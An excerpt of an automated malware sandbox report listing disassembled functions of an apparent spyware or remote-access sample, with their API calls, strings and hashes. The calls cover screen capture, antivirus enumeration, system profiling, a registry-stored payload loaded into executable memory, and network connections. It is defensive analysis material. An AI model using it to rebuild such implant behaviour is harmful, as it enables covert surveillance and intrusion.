ReleaseDC.USER32(00000000,00000000), ref: 0377BCD3
GetSystemMetrics.USER32(0000004E), ref: 0377BCF8
GetSystemMetrics.USER32(0000004F), ref: 0377BD26
GetSystemMetrics.USER32(0000004C), ref: 0377BD78
GetSystemMetrics.USER32(0000004D), ref: 0377BD8D
CreateCompatibleBitmap.GDI32(?,?,00000000), ref: 0377BDA6
SelectObject.GDI32(?,00000000), ref: 0377BDB4
SetStretchBltMode.GDI32(?,00000003), ref: 0377BDC0
GetSystemMetrics.USER32(0000004F), ref: 0377BDCD
GetSystemMetrics.USER32(0000004E), ref: 0377BDE0
StretchBlt.GDI32(?,00000000,00000000,?,00000000,?,?,?,00000000,?,00000000), ref: 0377BE07
_memset.LIBCMT ref: 0377BE7A
GetDIBits.GDI32(?,?,00000000,00000000,?,00000028,00000000), ref: 0377BE97
_memset.LIBCMT ref: 0377BEAF

Part of subcall function 0377F707: _malloc.LIBCMT ref: 0377F721

DeleteObject.GDI32(?), ref: 0377BF23
DeleteObject.GDI32(?), ref: 0377BF2D
ReleaseDC.USER32(00000000,?), ref: 0377BF39
DeleteObject.GDI32(?), ref: 0377BFDF
DeleteObject.GDI32(?), ref: 0377BFE9
ReleaseDC.USER32(00000000,?), ref: 0377BFF5

Strings

gfff, xrefs: 0377BD10
(, xrefs: 0377BE3E
gfff, xrefs: 0377BD38
6, xrefs: 0377BE61

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: MetricsSystem$Object$Delete$Release$CapsCompatibleCreateDeviceStretch_memset$BitmapBitsDesktopModeSelectWindow_malloc
String ID: ($6$gfff$gfff
API String ID: 3293817703-713438465
Opcode ID: 16dd87f7aa778c0403997bfa06dffbbcdd2007631636f6452da5d41b6d3213f6
Instruction ID: bd121afc13d7202e4145f609d041b6eba53151020aab29735455b884f5c0cb80
Opcode Fuzzy Hash: 16dd87f7aa778c0403997bfa06dffbbcdd2007631636f6452da5d41b6d3213f6
Instruction Fuzzy Hash: DDD17FB1E01308AFDB14EFE9E889A9EBBB9FF48300F14452AF505AB341D7749905CB91

Function 03776A70 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 141
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(75BF73E0), ref: 03776A94
wsprintfW.USER32 ref: 03776AA7

Part of subcall function 03776910: GetCurrentProcessId.KERNEL32(A0516FA3,00000000,00000000,75BF73E0,?,00000000,037910DB,000000FF,?,03776AB3,00000000), ref: 03776938
Part of subcall function 03776910: OpenProcess.KERNEL32(00000400,00000000,00000000,?,00000000,037910DB,000000FF,?,03776AB3,00000000), ref: 03776947
Part of subcall function 03776910: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,00000000,037910DB,000000FF,?,03776AB3,00000000), ref: 03776960
Part of subcall function 03776910: CloseHandle.KERNEL32(00000000,?,00000000,037910DB,000000FF,?,03776AB3,00000000), ref: 0377696B

_memset.LIBCMT ref: 03776AC2
GetVersionExW.KERNEL32(?), ref: 03776ADB
GetCurrentProcess.KERNEL32(00000008,?), ref: 03776B12
OpenProcessToken.ADVAPI32(00000000), ref: 03776B19
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 03776B3F
GetLastError.KERNEL32 ref: 03776B49
LocalAlloc.KERNEL32(00000040,?), ref: 03776B5D
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,?,?), ref: 03776B85
GetSidSubAuthorityCount.ADVAPI32 ref: 03776B98
GetSidSubAuthority.ADVAPI32(00000000), ref: 03776BA6
LocalFree.KERNEL32(?), ref: 03776BB5
CloseHandle.KERNEL32(?), ref: 03776BC2
wsprintfW.USER32 ref: 03776C1B

Strings

None/%s, xrefs: 03776BE7
NO/, xrefs: 03776BDF
-N/, xrefs: 03776BEF

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Process$Token$CurrentOpen$AuthorityCloseHandleInformationLocalwsprintf$AllocCountErrorFreeLastVersion_memset
String ID: -N/$NO/$None/%s
API String ID: 3036438616-3095023699
Opcode ID: 4d29e2ec9422c828eee98cd2ceb5bc759bab9370e1fe7103e61637e5b945d1b4
Instruction ID: 703e4eb95ebd112c768aa09972a7601325295794eeb5f36b350b883565f5ac7a
Opcode Fuzzy Hash: 4d29e2ec9422c828eee98cd2ceb5bc759bab9370e1fe7103e61637e5b945d1b4
Instruction Fuzzy Hash: 2941E5B0A0061CAFEF20EB64DC88FEE7778EB0E310F048596F60596149DA34D995CFA0

Function 03776150 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 222
stringcomregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0377618B
lstrcatW.KERNEL32(037A1F10,0379510C,?,A0516FA3,00000AD4,00000000,75BF73E0), ref: 037761CD
lstrcatW.KERNEL32(037A1F10,0379535C,?,A0516FA3,00000AD4,00000000,75BF73E0), ref: 037761D9
CoCreateInstance.OLE32(03792480,00000000,00000017,0379578C,?,?,A0516FA3,00000AD4,00000000,75BF73E0), ref: 03776220
_memset.LIBCMT ref: 037762CE
wsprintfW.USER32 ref: 03776336
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 0377635F
_memset.LIBCMT ref: 03776376

Part of subcall function 03776050: _memset.LIBCMT ref: 0377607C
Part of subcall function 03776050: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,00000000), ref: 03776088

Strings

CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}, xrefs: 03776330
Windows Defender IOfficeAntiVirus implementation , xrefs: 03776186, 037761C8, 037761D4, 037763C9, 037763D5, 03776422, 03776436, 0377645A

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: _memset$Createlstrcat$InstanceOpenSnapshotToolhelp32wsprintf
String ID: CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}$Windows Defender IOfficeAntiVirus implementation
API String ID: 1221949200-1583895642
Opcode ID: 2f0bcb90ad1e9310a18a10f10c5e3d0e78be4cdea297a9cf0d4550fad76cc038
Instruction ID: 3d77d207212e75f97fb422f9a3649dc002664e96b06e808581c6e0eeb7b2a1b5
Opcode Fuzzy Hash: 2f0bcb90ad1e9310a18a10f10c5e3d0e78be4cdea297a9cf0d4550fad76cc038
Instruction Fuzzy Hash: F38192F1A40628AFDB20EB54CC44FAEB7B8EB48704F4446C9F719A7146D674AA41CFA4

Function 037780F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 114stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsW.KERNEL32(000003E8,?,75BF73E0,00000AD4,00000000), ref: 03778132
lstrcmpiW.KERNEL32(?,A:\), ref: 03778166
lstrcmpiW.KERNEL32(?,B:\), ref: 03778176
QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 037781A6
lstrlenW.KERNEL32(?), ref: 037781B7
__wcsnicmp.LIBCMT ref: 037781CE
lstrcpyW.KERNEL32(00000AD4,?), ref: 03778204
lstrcpyW.KERNEL32(?,?), ref: 03778228
lstrcatW.KERNEL32(?,00000000), ref: 03778233

Strings

B:\, xrefs: 03778170
A:\, xrefs: 03778160

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: lstrcmpilstrcpy$DeviceDriveLogicalQueryStrings__wcsnicmplstrcatlstrlen
String ID: A:\$B:\
API String ID: 950920757-1009255891
Opcode ID: 623f28c4906587f435313305346588dabe03913ce6ace84e658f71a8a5db95ee
Instruction ID: 47d436fca33e0db501ea430445fe5a68ea5ddf0def03a6882c3acea557dce79e
Opcode Fuzzy Hash: 623f28c4906587f435313305346588dabe03913ce6ace84e658f71a8a5db95ee
Instruction Fuzzy Hash: 5541CA71A0121CEBDF20EF64DD85AEEB37CEF44710F04459ADA09A7141E774DA05CBA5

Function 03776790 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 03775320: InterlockedDecrement.KERNEL32(00000008), ref: 0377536F
Part of subcall function 03775320: SysFreeString.OLEAUT32(00000000), ref: 03775384
Part of subcall function 03775320: SysAllocString.OLEAUT32(03795148), ref: 037753D5

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,?,03795148,037769A4,03795148,00000000,75BF73E0), ref: 037767F4
GetLastError.KERNEL32 ref: 037767FE
GetProcessHeap.KERNEL32(00000008,?), ref: 03776816
HeapAlloc.KERNEL32(00000000), ref: 0377681D
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,?,?), ref: 0377683F
LookupAccountSidW.ADVAPI32(00000000,?,?,00000100,?,00000100,?), ref: 03776871
GetLastError.KERNEL32 ref: 0377687B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 037768E6
HeapFree.KERNEL32(00000000), ref: 037768ED

Strings

NONE_MAPPED, xrefs: 03776888

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Heap$AllocErrorFreeInformationLastProcessStringToken$AccountDecrementInterlockedLookup
String ID: NONE_MAPPED
API String ID: 1317816589-2950899194
Opcode ID: f7c1479e3f578be32b0ba0ea10676f6b769f1e75ddafa9a518a9879168128c2a
Instruction ID: fef9d745039a28d6aa91d8b06c27eb1a97560e1ece2c9fc7bd517400655588bc
Opcode Fuzzy Hash: f7c1479e3f578be32b0ba0ea10676f6b769f1e75ddafa9a518a9879168128c2a
Instruction Fuzzy Hash: 494195B5A0021CAFDF20EB64DD48FEEB37DEB89700F048599E709AB145DA745A85CF60

Function 03776C50 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,74DEDF80,00000000,75BF73E0), ref: 03776C8B
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 03776CAA
_memset.LIBCMT ref: 03776CE1
GlobalMemoryStatusEx.KERNEL32(?), ref: 03776CF4
swprintf.LIBCMT ref: 03776D39
swprintf.LIBCMT ref: 03776D4C

Strings

:, xrefs: 03776C80
%sFree%d Gb , xrefs: 03776D41
@, xrefs: 03776CED
HDD:%d, xrefs: 03776D2E

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: swprintf$DiskDriveFreeGlobalMemorySpaceStatusType_memset
String ID: %sFree%d Gb $:$@$HDD:%d
API String ID: 3202570353-3501811827
Opcode ID: c6effab86de71ea921d8d8cbdbc2641c1dedc1171280596d5e15f76824dce5bc
Instruction ID: aa0d7716b205ee06259663bd4b1d3d58d6f879e99156f1072c212308bbb91451
Opcode Fuzzy Hash: c6effab86de71ea921d8d8cbdbc2641c1dedc1171280596d5e15f76824dce5bc
Instruction Fuzzy Hash: 943161B6E0021CABDB14DFE5DC45FEEB7B9FB48700F50821EE91AAB241D6746905CB90

Function 03776EE0 Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 410COMMON

Download Yara Rule

APIs

CreateDXGIFactory.DXGI(0379579C,?,A0516FA3,74DEDF80,00000000,75BF73E0), ref: 03776F4A
swprintf.LIBCMT ref: 0377711E
std::_Xinvalid_argument.LIBCPMT ref: 037771C7

Strings

%s%s %d %d , xrefs: 03777113
%s%s %d*%d , xrefs: 03777337
vector<T> too long, xrefs: 037771C2

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CreateFactoryXinvalid_argumentstd::_swprintf
String ID: %s%s %d %d $%s%s %d*%d $vector<T> too long
API String ID: 3803070356-257307503
Opcode ID: 5c2837d3b6fca5ce85a06c641adef498103314b88886ca95fff5a68559796ace
Instruction ID: 56fbbd23d8c034159b1940972e58f070fe2b18037856014e6d7fbd69fb2835a3
Opcode Fuzzy Hash: 5c2837d3b6fca5ce85a06c641adef498103314b88886ca95fff5a68559796ace
Instruction Fuzzy Hash: C6E15471E012699FDF28CE64CC84BFEB375AB89700F1446E9D919A7284D770AE81CF91

Function 02C654C0 Relevance: 45.8, APIs: 16, Strings: 10, Instructions: 263
registrymemorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Console\0,00000000,00020019,?), ref: 02C65507
RegQueryValueExW.ADVAPI32(?,9e9e85e05ee16fc372a0c7df6549fbd4,00000000,00000003,00000000,00000003), ref: 02C6552E
_memset.LIBCMT ref: 02C65548
RegQueryValueExW.ADVAPI32(?,9e9e85e05ee16fc372a0c7df6549fbd4,00000000,00000003,00000000,00000003), ref: 02C65563
VirtualAlloc.KERNEL32(00000000,000311BF,00003000,00000040), ref: 02C65586
RegCloseKey.ADVAPI32(?), ref: 02C655B1
VirtualFree.KERNEL32(?,00000000,00008000), ref: 02C65605
_memset.LIBCMT ref: 02C65669
_memset.LIBCMT ref: 02C6568D
_memset.LIBCMT ref: 02C6569F
VirtualAlloc.KERNEL32(00000000,000311BF,00003000,00000040), ref: 02C65726
RegCreateKeyW.ADVAPI32(80000001,Console\0,?), ref: 02C65799
RegDeleteValueW.KERNEL32(?,9e9e85e05ee16fc372a0c7df6549fbd4), ref: 02C657AC
RegSetValueExW.KERNEL32(?,9e9e85e05ee16fc372a0c7df6549fbd4,00000000,00000003,00000000,00000065), ref: 02C657C4
RegCloseKey.KERNEL32(?), ref: 02C657CE
Sleep.KERNEL32(00000BB8), ref: 02C657FE

Strings

Console\0, xrefs: 02C654F3, 02C6578F
{vU_, xrefs: 02C65626
., xrefs: 02C6563A
e, xrefs: 02C654DC
_, xrefs: 02C6564E
!jWW, xrefs: 02C65630
9e9e85e05ee16fc372a0c7df6549fbd4, xrefs: 02C65528, 02C6555D, 02C657A6, 02C657BE
i, xrefs: 02C65658
0d3b34577c0a66584d5bdc849e214016, xrefs: 02C655BA
l, xrefs: 02C65644

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Value_memset$Virtual$AllocCloseQuery$CreateDeleteFreeOpenSleep
String ID: !jWW$.$0d3b34577c0a66584d5bdc849e214016$9e9e85e05ee16fc372a0c7df6549fbd4$Console\0$_$e$i$l${vU_
API String ID: 354323817-737951744
Opcode ID: f9ae37a25ab619e99da680d8d334c621e1c974439dd3f6ba3d9827bb995ae706
Instruction ID: 8ba52572b471c42d9dc5758117341aca01abcd55b53e4630e5460a15f3d95477
Opcode Fuzzy Hash: f9ae37a25ab619e99da680d8d334c621e1c974439dd3f6ba3d9827bb995ae706
Instruction Fuzzy Hash: 4B91D4B5A40204AFEB20DF60DC88FBA77BEFB85740F508659FA099B240D7749A44CF91

Function 03779E50 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 314
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GdipGetImagePixelFormat.GDIPLUS(Function_00009A30,?,?,00000000), ref: 03779E7B
GdipGetImageHeight.GDIPLUS(Function_00009A30,?,?,00000000), ref: 03779EFC
GdipGetImageWidth.GDIPLUS(Function_00009A30,?,?,00000000), ref: 03779F24
GdipGetImagePaletteSize.GDIPLUS(Function_00009A30,?,?,00000000), ref: 03779F7F
_malloc.LIBCMT ref: 03779FC0

Part of subcall function 0377F673: __FF_MSGBANNER.LIBCMT ref: 0377F68C
Part of subcall function 0377F673: __NMSG_WRITE.LIBCMT ref: 0377F693
Part of subcall function 0377F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76), ref: 0377F6B8

_free.LIBCMT ref: 0377A000
GdipGetImagePalette.GDIPLUS(?,00000008,?,?,00000000), ref: 0377A028
SetDIBColorTable.GDI32(?,00000000,?,?,?,00000000), ref: 0377A0B7
GdipBitmapLockBits.GDIPLUS(Function_00009A30,?,00000001,?,?,?,00000000), ref: 0377A112
_free.LIBCMT ref: 0377A134
_memcpy_s.LIBCMT ref: 0377A183
GdipBitmapUnlockBits.GDIPLUS(?,?,?,00000000), ref: 0377A1D0
GdipCreateBitmapFromScan0.GDIPLUS(?,?,03795A78,00022009,?,00000000,?,00000000), ref: 0377A22C
GdipGetImageGraphicsContext.GDIPLUS(00000000,00022009,?,00000000), ref: 0377A24C
GdipDrawImageI.GDIPLUS(00000000,Function_00009A30,00000000,00000000,?,00000000), ref: 0377A267
GdipDeleteGraphics.GDIPLUS(?,?,00000000), ref: 0377A274
GdipDisposeImage.GDIPLUS(00000000,?,00000000), ref: 0377A27B
_free.LIBCMT ref: 0377A296

Strings

&, xrefs: 03779EE1

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Gdip$Image$Bitmap_free$BitsGraphicsPalette$AllocateColorContextCreateDeleteDisposeDrawFormatFromHeapHeightLockPixelScan0SizeTableUnlockWidth_malloc_memcpy_s
String ID: &
API String ID: 640422297-3042966939
Opcode ID: ca23fb054b17ca01fa60f33de9e09feb229a511bdb8f42ac40e5d4b3cc464c15
Instruction ID: ca6a6e2576496fabb0241c64b02ae306b62fc75a33b63ea3e1c08149c94746ae
Opcode Fuzzy Hash: ca23fb054b17ca01fa60f33de9e09feb229a511bdb8f42ac40e5d4b3cc464c15
Instruction Fuzzy Hash: 7CD131B1A002199FDB64DF55CC84BAAB7B4EF88304F0485ADE709A7301D774AA85CFA5

Function 03772DA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 203
networkstringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32(?), ref: 03772DBB
InterlockedExchange.KERNEL32(?,00000000), ref: 03772DC7
timeGetTime.WINMM ref: 03772DCD
socket.WS2_32(00000002,00000001,00000006), ref: 03772DFA
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 03772E26
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 03772E32
lstrlenW.KERNEL32(?,00000000,000000CA,00000000,00000000), ref: 03772E51
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 03772E5D
gethostbyname.WS2_32(00000000), ref: 03772E6B
htons.WS2_32(?), ref: 03772E8D
connect.WS2_32(?,?,00000010), ref: 03772EAB

Strings

0u, xrefs: 03772F1C

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$EventExchangeInterlockedResetTimeconnectgethostbynamehtonssockettime
String ID: 0u
API String ID: 640718063-3203441087
Opcode ID: 3b5e36fd818848402e926f799c5613c9f2da94b79850b242be8e6d665ef17584
Instruction ID: cf604104ba9c1519b54481c0405767397d2270e351081f7668072620f447bad5
Opcode Fuzzy Hash: 3b5e36fd818848402e926f799c5613c9f2da94b79850b242be8e6d665ef17584
Instruction Fuzzy Hash: 34615371A40308BFD720EFA4DC45FAAB7B8FF4C710F10461AF655AB2D1D6B4A9058B64

Function 02C62D80 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 203
networkstringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32(?), ref: 02C62D9B
InterlockedExchange.KERNEL32(?,00000000), ref: 02C62DA7
timeGetTime.WINMM ref: 02C62DAD
socket.WS2_32(00000002,00000001,00000006), ref: 02C62DDA
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 02C62E06
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 02C62E12
lstrlenW.KERNEL32(?,00000000,000000CA,00000000,00000000), ref: 02C62E31
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 02C62E3D
gethostbyname.WS2_32(00000000), ref: 02C62E4B
htons.WS2_32(?), ref: 02C62E6D
connect.WS2_32(?,?,00000010), ref: 02C62E8B

Strings

0u, xrefs: 02C62EFC

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$EventExchangeInterlockedResetTimeconnectgethostbynamehtonssockettime
String ID: 0u
API String ID: 640718063-3203441087
Opcode ID: a1ca45a2228b19abe9a10cfc8c5aad20fbb87cea7147010d1cf6c59061239e2c
Instruction ID: 4d31dec15080dc749b7db859735ce05d205747bb6bd8011a4c7c498d9d826ee0
Opcode Fuzzy Hash: a1ca45a2228b19abe9a10cfc8c5aad20fbb87cea7147010d1cf6c59061239e2c
Instruction Fuzzy Hash: CD6144B1A40704AFE720DFA4DC85FAAB7B9FF48711F504619FA46A72C0D7B0A904CB65

Function 0377AD10 Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 346
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Console,00000000,00020019,?), ref: 0377AD53
RegQueryValueExW.KERNEL32(?,IpDatespecial,00000000,?,00000000,?), ref: 0377AD73

Strings

Console, xrefs: 0377AD39
%s_bin, xrefs: 0377AE33
Console\0, xrefs: 0377B0DC
IpDatespecial, xrefs: 0377AD6D

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: OpenQueryValue
String ID: %s_bin$Console$Console\0$IpDatespecial
API String ID: 4153817207-1338088003
Opcode ID: af5279f64d0b62e7471047293b3e3d9cb2a6b6c09cfa9a9d8a6a71404a962f3a
Instruction ID: fe9118c6984f62d37b4bfb2291ef9f7fa9989bbe07e3ce37d0ec07c6db5b1432
Opcode Fuzzy Hash: af5279f64d0b62e7471047293b3e3d9cb2a6b6c09cfa9a9d8a6a71404a962f3a
Instruction Fuzzy Hash: B4C1F6B6A00300ABEB10EF24DC45F6B73A8EF94714F084569F9459B382E775E905C7A2

Function 03775F40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 88
sleepstringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexW.KERNEL32(00000000,00000000,2024.12. 3), ref: 03775F66
GetLastError.KERNEL32 ref: 03775F6E
Sleep.KERNEL32(000003E8), ref: 03775F85
CreateMutexW.KERNEL32(00000000,00000000,2024.12. 3), ref: 03775F90
GetLastError.KERNEL32 ref: 03775F92
_memset.LIBCMT ref: 03775FB9
lstrlenW.KERNEL32(?), ref: 03775FC6
lstrcmpW.KERNEL32(?,03795328), ref: 03775FED
Sleep.KERNEL32(000003E8), ref: 03775FF8
GetModuleHandleW.KERNEL32(00000000), ref: 03776005
GetConsoleWindow.KERNEL32 ref: 0377600F

Strings

2024.12. 3, xrefs: 03775F5D, 03775F87
open, xrefs: 03775FCD
key, xrefs: 03775FD2

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CreateErrorLastMutexSleep$ConsoleHandleModuleWindow_memsetlstrcmplstrlen
String ID: 2024.12. 3$key$open
API String ID: 2922109467-4129338558
Opcode ID: 11db658df9268671dd418f1652a25977622b4187f21528df5656d4cee96403b0
Instruction ID: 18af511dffe48ca81c5b52ffb1ff30f1f1b801b51fcded050f7255d36a40dbb1
Opcode Fuzzy Hash: 11db658df9268671dd418f1652a25977622b4187f21528df5656d4cee96403b0
Instruction Fuzzy Hash: 17213772A0430DAFEA10FB64EC45F5E73A89B84714F144A2AE6049B1C5DB74E50AC7A3

Function 037762B6 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 125
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 037762CE
wsprintfW.USER32 ref: 03776336
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 0377635F
_memset.LIBCMT ref: 03776376
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,?,?,?), ref: 037763B2
lstrcatW.KERNEL32(037A1F10,?), ref: 037763CE
lstrcatW.KERNEL32(037A1F10,0379535C), ref: 037763DA
RegCloseKey.ADVAPI32(00000000), ref: 037763E3
lstrlenW.KERNEL32(037A1F10,?,A0516FA3,00000AD4,00000000,75BF73E0), ref: 03776427
lstrcatW.KERNEL32(037A1F10,037953D4,?,A0516FA3,00000AD4,00000000,75BF73E0), ref: 0377643B

Strings

CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}, xrefs: 03776330
Windows Defender IOfficeAntiVirus implementation , xrefs: 037763C9, 037763D5, 03776422, 03776436, 0377645A

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: lstrcat$_memset$CloseOpenQueryValuelstrlenwsprintf
String ID: CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}$Windows Defender IOfficeAntiVirus implementation
API String ID: 1671694837-1583895642
Opcode ID: 3d003c6c4eab97002231a8ea2db771e6768a122c79dc14e202ea50983ddaf006
Instruction ID: 019c36a47af499598a0b4a3c5d822704b1ec585861d2dd1c96961303bc236a9a
Opcode Fuzzy Hash: 3d003c6c4eab97002231a8ea2db771e6768a122c79dc14e202ea50983ddaf006
